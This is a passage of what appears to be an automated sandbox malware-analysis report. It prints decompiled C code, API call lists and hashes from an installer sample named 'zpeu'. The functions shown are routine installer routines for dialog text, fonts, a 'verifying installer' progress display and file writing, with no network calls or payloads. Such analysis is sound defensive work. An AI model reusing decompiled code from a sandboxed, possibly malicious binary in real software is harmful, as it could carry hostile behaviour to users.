                                      				}
                                      				_t19 = GetMessagePos();
                                      				_v16 = _t19 >> 0x10;
                                      				_v20 = _t19;
                                      				ScreenToClient(_t28,  &_v20);
                                      				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
                                      				if((_v12 & 0x00000066) != 0) {
                                      					_t15 = _v8;
                                      					goto L4;
                                      				}
                                      				return _t25 | 0xffffffff;
                                      			}














                                      0x00404b88
                                      0x00404b95
                                      0x00404b9b
                                      0x00404bd9
                                      0x00404bd9
                                      0x00404be8
                                      0x00404bef
                                      0x00000000
                                      0x00404bf1
                                      0x00404b9d
                                      0x00404bac
                                      0x00404bb4
                                      0x00404bb7
                                      0x00404bc9
                                      0x00404bcf
                                      0x00404bd6
                                      0x00000000
                                      0x00404bd6
                                      0x00000000

                                      APIs
                                      • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404B95
                                      • GetMessagePos.USER32 ref: 00404B9D
                                      • ScreenToClient.USER32(?,?), ref: 00404BB7
                                      • SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BC9
                                      • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404BEF
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Message$Send$ClientScreen
                                      • String ID: f
                                      • API String ID: 41195575-1993550816
                                      • Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
                                      • Instruction ID: 6d27a89fd112f7dd13df74400405474d9978eabb633620400ae5318118f47dfb
                                      • Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
                                      • Instruction Fuzzy Hash: CD015E71900218BADB00DB94DD85FFFBBBCAF95711F10412BBA51B61D0D7B4A9018BA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 73%
                                      			E00401DB3(intOrPtr __edx) {
                                      				void* __esi;
                                      				int _t9;
                                      				signed char _t15;
                                      				struct HFONT__* _t18;
                                      				intOrPtr _t30;
                                      				struct HDC__* _t31;
                                      				void* _t33;
                                      				void* _t35;
                                      
                                      				_t30 = __edx;
                                      				_t31 = GetDC( *(_t35 - 8));
                                      				_t9 = E00402C15(2);
                                      				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
                                      				0x40cdb0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), 0x48));
                                      				ReleaseDC( *(_t35 - 8), _t31);
                                      				 *0x40cdc0 = E00402C15(3);
                                      				_t15 =  *((intOrPtr*)(_t35 - 0x18));
                                      				 *((intOrPtr*)(_t35 - 0x4c)) = _t30;
                                      				 *0x40cdc7 = 1;
                                      				 *0x40cdc4 = _t15 & 0x00000001;
                                      				 *0x40cdc5 = _t15 & 0x00000002;
                                      				 *0x40cdc6 = _t15 & 0x00000004;
                                      				E0040626E(_t9, _t31, _t33, "Calibri",  *((intOrPtr*)(_t35 - 0x24)));
                                      				_t18 = CreateFontIndirectW(0x40cdb0);
                                      				_push(_t18);
                                      				_push(_t33);
                                      				E00406193();
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t35 - 4));
                                      				return 0;
                                      			}











                                      0x00401db3
                                      0x00401dbe
                                      0x00401dc0
                                      0x00401dcd
                                      0x00401de4
                                      0x00401de9
                                      0x00401df6
                                      0x00401dfb
                                      0x00401dff
                                      0x00401e0a
                                      0x00401e11
                                      0x00401e23
                                      0x00401e29
                                      0x00401e2e
                                      0x00401e38
                                      0x0040258c
                                      0x0040156d
                                      0x00402a65
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • GetDC.USER32(?), ref: 00401DB6
                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
                                      • MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
                                      • ReleaseDC.USER32(?,00000000), ref: 00401DE9
                                      • CreateFontIndirectW.GDI32(0040CDB0), ref: 00401E38
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CapsCreateDeviceFontIndirectRelease
                                      • String ID: Calibri
                                      • API String ID: 3808545654-1409258342
                                      • Opcode ID: 32b3ac885727d1e190cdd40c39b4cdf091ab3af3085104150676e708dd364a64
                                      • Instruction ID: beb1058faab58ab776b37266111e77616320e0f2a6455f46a6b6c1c153f06785
                                      • Opcode Fuzzy Hash: 32b3ac885727d1e190cdd40c39b4cdf091ab3af3085104150676e708dd364a64
                                      • Instruction Fuzzy Hash: B6015272558241EFE7006BB0AF8AA9A7FB4AB55301F10497EF241B61E2CA7800458B2D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00402DD7(struct HWND__* _a4, intOrPtr _a8) {
                                      				short _v132;
                                      				int _t11;
                                      				int _t20;
                                      
                                      				if(_a8 == 0x110) {
                                      					SetTimer(_a4, 1, 0xfa, 0);
                                      					_a8 = 0x113;
                                      				}
                                      				if(_a8 == 0x113) {
                                      					_t20 =  *0x40ce98; // 0x54c3c
                                      					_t11 =  *0x418ea4; // 0x54c40
                                      					if(_t20 >= _t11) {
                                      						_t20 = _t11;
                                      					}
                                      					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
                                      					SetWindowTextW(_a4,  &_v132);
                                      					SetDlgItemTextW(_a4, 0x406,  &_v132);
                                      				}
                                      				return 0;
                                      			}






                                      0x00402de7
                                      0x00402df5
                                      0x00402dfb
                                      0x00402dfb
                                      0x00402e09
                                      0x00402e0b
                                      0x00402e11
                                      0x00402e18
                                      0x00402e1a
                                      0x00402e1a
                                      0x00402e30
                                      0x00402e40
                                      0x00402e52
                                      0x00402e52
                                      0x00402e5a

                                      APIs
                                      • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DF5
                                      • MulDiv.KERNEL32(00054C3C,00000064,00054C40), ref: 00402E20
                                      • wsprintfW.USER32 ref: 00402E30
                                      • SetWindowTextW.USER32(?,?), ref: 00402E40
                                      • SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E52
                                      Strings
                                      • verifying installer: %d%%, xrefs: 00402E2A
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Text$ItemTimerWindowwsprintf
                                      • String ID: verifying installer: %d%%
                                      • API String ID: 1451636040-82062127
                                      • Opcode ID: e049c72b028903268a13e0303fe007745629d422319b61ed44a985218b4f833f
                                      • Instruction ID: 725db9d4d41e60ee2dd5d311e5346f84fbed97106a71cca60d70b9a4d06edbb5
                                      • Opcode Fuzzy Hash: e049c72b028903268a13e0303fe007745629d422319b61ed44a985218b4f833f
                                      • Instruction Fuzzy Hash: 73014471640208ABDF209F60DD49FAA3B69EB00708F008039FA05F91D0DBB989558B99
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 76%
                                      			E100024A4(intOrPtr* _a4) {
                                      				intOrPtr _v4;
                                      				intOrPtr* _t24;
                                      				void* _t26;
                                      				intOrPtr _t27;
                                      				signed int _t35;
                                      				void* _t39;
                                      				intOrPtr _t40;
                                      				void* _t43;
                                      
                                      				_t39 = E1000121B();
                                      				_t24 = _a4;
                                      				_t40 =  *((intOrPtr*)(_t24 + 0x1014));
                                      				_v4 = _t40;
                                      				_t43 = (_t40 + 0x81 << 5) + _t24;
                                      				do {
                                      					if( *((intOrPtr*)(_t43 - 4)) != 0xffffffff) {
                                      					}
                                      					_t35 =  *(_t43 - 8);
                                      					if(_t35 <= 7) {
                                      						switch( *((intOrPtr*)(_t35 * 4 +  &M100025B4))) {
                                      							case 0:
                                      								 *_t39 =  *_t39 & 0x00000000;
                                      								goto L15;
                                      							case 1:
                                      								_push( *__eax);
                                      								goto L13;
                                      							case 2:
                                      								__eax = E10001470(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
                                      								goto L14;
                                      							case 3:
                                      								__ecx =  *0x1000406c;
                                      								__edx = __ecx - 1;
                                      								__eax = MultiByteToWideChar(0, 0,  *__eax, __ecx, __edi, __edx);
                                      								__eax =  *0x1000406c;
                                      								 *(__edi + __eax * 2 - 2) =  *(__edi + __eax * 2 - 2) & 0x00000000;
                                      								goto L15;
                                      							case 4:
                                      								__eax = lstrcpynW(__edi,  *__eax,  *0x1000406c);
                                      								goto L15;
                                      							case 5:
                                      								_push( *0x1000406c);
                                      								_push(__edi);
                                      								_push( *__eax);
                                      								__imp__StringFromGUID2();
                                      								goto L15;
                                      							case 6:
                                      								_push( *__esi);
                                      								L13:
                                      								__eax = wsprintfW(__edi, __ebp);
                                      								L14:
                                      								__esp = __esp + 0xc;
                                      								goto L15;
                                      						}
                                      					}
                                      					L15:
                                      					_t26 =  *(_t43 + 0x14);
                                      					if(_t26 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
                                      						GlobalFree(_t26);
                                      					}
                                      					_t27 =  *((intOrPtr*)(_t43 + 0xc));
                                      					if(_t27 != 0) {
                                      						if(_t27 != 0xffffffff) {
                                      							if(_t27 > 0) {
                                      								E100012E1(_t27 - 1, _t39);
                                      								goto L24;
                                      							}
                                      						} else {
                                      							E10001272(_t39);
                                      							L24:
                                      						}
                                      					}
                                      					_v4 = _v4 - 1;
                                      					_t43 = _t43 - 0x20;
                                      				} while (_v4 >= 0);
                                      				return GlobalFree(_t39);
                                      			}











                                      0x100024ae
                                      0x100024b0
                                      0x100024bf
                                      0x100024c5
                                      0x100024d2
                                      0x100024d4
                                      0x100024d8
                                      0x100024d8
                                      0x100024e0
                                      0x100024e6
                                      0x100024e8
                                      0x00000000
                                      0x100024ef
                                      0x00000000
                                      0x00000000
                                      0x100024f5
                                      0x00000000
                                      0x00000000
                                      0x100024ff
                                      0x00000000
                                      0x00000000
                                      0x10002506
                                      0x1000250c
                                      0x10002518
                                      0x1000251e
                                      0x10002523
                                      0x00000000
                                      0x00000000
                                      0x10002545
                                      0x00000000
                                      0x00000000
                                      0x1000252b
                                      0x10002531
                                      0x10002532
                                      0x10002534
                                      0x00000000
                                      0x00000000
                                      0x1000254d
                                      0x1000254f
                                      0x10002551
                                      0x10002553
                                      0x10002553
                                      0x00000000
                                      0x00000000
                                      0x100024e8
                                      0x10002556
                                      0x10002556
                                      0x1000255b
                                      0x1000256d
                                      0x1000256d
                                      0x10002573
                                      0x10002578
                                      0x1000257d
                                      0x10002589
                                      0x1000258e
                                      0x00000000
                                      0x10002593
                                      0x1000257f
                                      0x10002580
                                      0x10002594
                                      0x10002594
                                      0x1000257d
                                      0x10002595
                                      0x10002599
                                      0x1000259c
                                      0x100025b3

                                      APIs
                                        • Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225
                                      • GlobalFree.KERNEL32(?), ref: 1000256D
                                      • GlobalFree.KERNEL32(00000000), ref: 100025A8
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: Global$Free$Alloc
                                      • String ID:
                                      • API String ID: 1780285237-0
                                      • Opcode ID: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
                                      • Instruction ID: 149f0ffe7112dafd64944f245e56057b96fa329c468151baa91e3d773918aa42
                                      • Opcode Fuzzy Hash: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
                                      • Instruction Fuzzy Hash: 1031AF71504651EFF721CF14CCA8E2B7BB8FB853D2F114119F940961A8C7719851DB69
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 37%
                                      			E004028A7(void* __ebx) {
                                      				void* _t26;
                                      				long _t31;
                                      				void* _t45;
                                      				void* _t49;
                                      				void* _t51;
                                      				void* _t54;
                                      				void* _t55;
                                      				void* _t56;
                                      
                                      				_t45 = __ebx;
                                      				 *((intOrPtr*)(_t56 - 0x30)) = 0xfffffd66;
                                      				_t50 = E00402C37(0xfffffff0);
                                      				 *(_t56 - 0x38) = _t23;
                                      				if(E00405B94(_t50) == 0) {
                                      					E00402C37(0xffffffed);
                                      				}
                                      				E00405D19(_t50);
                                      				_t26 = E00405D3E(_t50, 0x40000000, 2);
                                      				 *(_t56 + 8) = _t26;
                                      				if(_t26 != 0xffffffff) {
                                      					_t31 =  *0x42a218;
                                      					 *(_t56 - 0x3c) = _t31;
                                      					_t49 = GlobalAlloc(0x40, _t31);
                                      					if(_t49 != _t45) {
                                      						E004032F5(_t45);
                                      						E004032DF(_t49,  *(_t56 - 0x3c));
                                      						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x20));
                                      						 *(_t56 - 0x4c) = _t54;
                                      						if(_t54 != _t45) {
                                      							_push( *(_t56 - 0x20));
                                      							_push(_t54);
                                      							_push(_t45);
                                      							_push( *((intOrPtr*)(_t56 - 0x24)));
                                      							E004030FA();
                                      							while( *_t54 != _t45) {
                                      								_t47 =  *_t54;
                                      								_t55 = _t54 + 8;
                                      								 *(_t56 - 0x34) =  *_t54;
                                      								E00405CF9( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
                                      								_t54 = _t55 +  *(_t56 - 0x34);
                                      							}
                                      							GlobalFree( *(_t56 - 0x4c));
                                      						}
                                      						E00405DF0( *(_t56 + 8), _t49,  *(_t56 - 0x3c));
                                      						GlobalFree(_t49);
                                      						_push(_t45);
                                      						_push(_t45);
                                      						_push( *(_t56 + 8));
                                      						_push(0xffffffff);
                                      						 *((intOrPtr*)(_t56 - 0x30)) = E004030FA();
                                      					}
                                      					CloseHandle( *(_t56 + 8));
                                      				}
                                      				_t51 = 0xfffffff3;
                                      				if( *((intOrPtr*)(_t56 - 0x30)) < _t45) {
                                      					_t51 = 0xffffffef;
                                      					DeleteFileW( *(_t56 - 0x38));
                                      					 *((intOrPtr*)(_t56 - 4)) = 1;
                                      				}
                                      				_push(_t51);
                                      				E00401423();
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t56 - 4));
                                      				return 0;
                                      			}











                                      0x004028a7
                                      0x004028a9
                                      0x004028b5
                                      0x004028b8
                                      0x004028c2
                                      0x004028c6
                                      0x004028c6
                                      0x004028cc
                                      0x004028d9
                                      0x004028e1
                                      0x004028e4
                                      0x004028ea
                                      0x004028f8
                                      0x004028fd
                                      0x00402901
                                      0x00402904
                                      0x0040290d
                                      0x00402919
                                      0x0040291d
                                      0x00402920
                                      0x00402922
                                      0x00402925
                                      0x00402926
                                      0x00402927
                                      0x0040292a
                                      0x00402949
                                      0x00402931
                                      0x00402936
                                      0x0040293e
                                      0x00402941
                                      0x00402946
                                      0x00402946
                                      0x00402950
                                      0x00402950
                                      0x0040295d
                                      0x00402963
                                      0x00402969
                                      0x0040296a
                                      0x0040296b
                                      0x0040296e
                                      0x00402975
                                      0x00402975
                                      0x0040297b
                                      0x0040297b
                                      0x00402986
                                      0x00402987
                                      0x0040298b
                                      0x0040298f
                                      0x00402995
                                      0x00402995
                                      0x0040299c
                                      0x00402245
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 004028FB
                                      • GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402917
                                      • GlobalFree.KERNEL32(?), ref: 00402950
                                      • GlobalFree.KERNEL32(00000000), ref: 00402963
                                      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 0040297B
                                      • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 0040298F
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Global$AllocFree$CloseDeleteFileHandle
                                      • String ID:
                                      • API String ID: 2667972263-0
                                      • Opcode ID: 794126d87b7ab7f3e2e070d8386bcb8afdde5fae5b7e809f26f6fd9fec4836ff
                                      • Instruction ID: c6e800f027f1e1b1e461e4fc783814b3910171fe2b09394c7840a14eb176b3fb
                                      • Opcode Fuzzy Hash: 794126d87b7ab7f3e2e070d8386bcb8afdde5fae5b7e809f26f6fd9fec4836ff
                                      • Instruction Fuzzy Hash: 9821BFB1D00124BBDF206FA5DE49D9E7E79EF08364F10423AF954762E1CB794C419B98
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 77%
                                      			E00404A6C(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
                                      				char _v68;
                                      				char _v132;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t23;
                                      				signed int _t24;
                                      				void* _t31;
                                      				void* _t33;
                                      				void* _t34;
                                      				void* _t44;
                                      				signed int _t46;
                                      				signed int _t50;
                                      				signed int _t52;
                                      				signed int _t53;
                                      				signed int _t55;
                                      
                                      				_t23 = _a16;
                                      				_t53 = _a12;
                                      				_t44 = 0xffffffdc;
                                      				if(_t23 == 0) {
                                      					_push(0x14);
                                      					_pop(0);
                                      					_t24 = _t53;
                                      					if(_t53 < 0x100000) {
                                      						_push(0xa);
                                      						_pop(0);
                                      						_t44 = 0xffffffdd;
                                      					}
                                      					if(_t53 < 0x400) {
                                      						_t44 = 0xffffffde;
                                      					}
                                      					if(_t53 < 0xffff3333) {
                                      						_t52 = 0x14;
                                      						asm("cdq");
                                      						_t24 = 1 / _t52 + _t53;
                                      					}
                                      					_t25 = _t24 & 0x00ffffff;
                                      					_t55 = _t24 >> 0;
                                      					_t46 = 0xa;
                                      					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
                                      				} else {
                                      					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
                                      					_t50 = 0;
                                      				}
                                      				_t31 = E0040626E(_t44, _t50, _t55,  &_v68, 0xffffffdf);
                                      				_t33 = E0040626E(_t44, _t50, _t55,  &_v132, _t44);
                                      				_t34 = E0040626E(_t44, _t50, 0x4236e8, 0x4236e8, _a8);
                                      				wsprintfW(_t34 + lstrlenW(0x4236e8) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
                                      				return SetDlgItemTextW( *0x4291d8, _a4, 0x4236e8);
                                      			}



















                                      0x00404a75
                                      0x00404a7a
                                      0x00404a82
                                      0x00404a83
                                      0x00404a90
                                      0x00404a98
                                      0x00404a99
                                      0x00404a9b
                                      0x00404a9d
                                      0x00404a9f
                                      0x00404aa2
                                      0x00404aa2
                                      0x00404aa9
                                      0x00404aaf
                                      0x00404aaf
                                      0x00404ab6
                                      0x00404abd
                                      0x00404ac0
                                      0x00404ac3
                                      0x00404ac3
                                      0x00404ac7
                                      0x00404ad7
                                      0x00404ad9
                                      0x00404adc
                                      0x00404a85
                                      0x00404a85
                                      0x00404a8c
                                      0x00404a8c
                                      0x00404ae4
                                      0x00404aef
                                      0x00404b05
                                      0x00404b16
                                      0x00404b32

                                      APIs
                                      • lstrlenW.KERNEL32(004236E8,004236E8,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B0D
                                      • wsprintfW.USER32 ref: 00404B16
                                      • SetDlgItemTextW.USER32(?,004236E8), ref: 00404B29
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: ItemTextlstrlenwsprintf
                                      • String ID: %u.%u%s%s$6B
                                      • API String ID: 3540041739-3884863406
                                      • Opcode ID: 95c3251a73d665659f4e5ef41dc4b3ed63ce9024b19b633afc4b02d7477ffd45
                                      • Instruction ID: 5e68f5a3766037a7274f1f000e531c578f4d2f2b22a3e42eca2e55653584bdbe
                                      • Opcode Fuzzy Hash: 95c3251a73d665659f4e5ef41dc4b3ed63ce9024b19b633afc4b02d7477ffd45
                                      • Instruction Fuzzy Hash: F111D8736481283BDB00656D9C45E9F329CDB81374F150237FE66F61D1D9788C2186EC
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 88%
                                      			E00402592(int __ebx, void* __edx, intOrPtr* __esi) {
                                      				signed int _t14;
                                      				int _t17;
                                      				int _t24;
                                      				signed int _t29;
                                      				intOrPtr* _t32;
                                      				void* _t34;
                                      				void* _t35;
                                      				void* _t38;
                                      				signed int _t40;
                                      
                                      				_t32 = __esi;
                                      				_t24 = __ebx;
                                      				_t14 =  *(_t35 - 0x20);
                                      				_t38 = __edx - 0x38;
                                      				 *(_t35 - 0x4c) = _t14;
                                      				_t27 = 0 | _t38 == 0x00000000;
                                      				_t29 = _t38 == 0;
                                      				if(_t14 == __ebx) {
                                      					if(__edx != 0x38) {
                                      						_t17 = lstrlenW(E00402C37(0x11)) + _t16;
                                      					} else {
                                      						E00402C37(0x21);
                                      						WideCharToMultiByte(__ebx, __ebx, "C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp", 0xffffffff, "C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp\System.dll", 0x400, __ebx, __ebx);
                                      						_t17 = lstrlenA("C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp\System.dll");
                                      					}
                                      				} else {
                                      					E00402C15(1);
                                      					 *0x40ada8 = __ax;
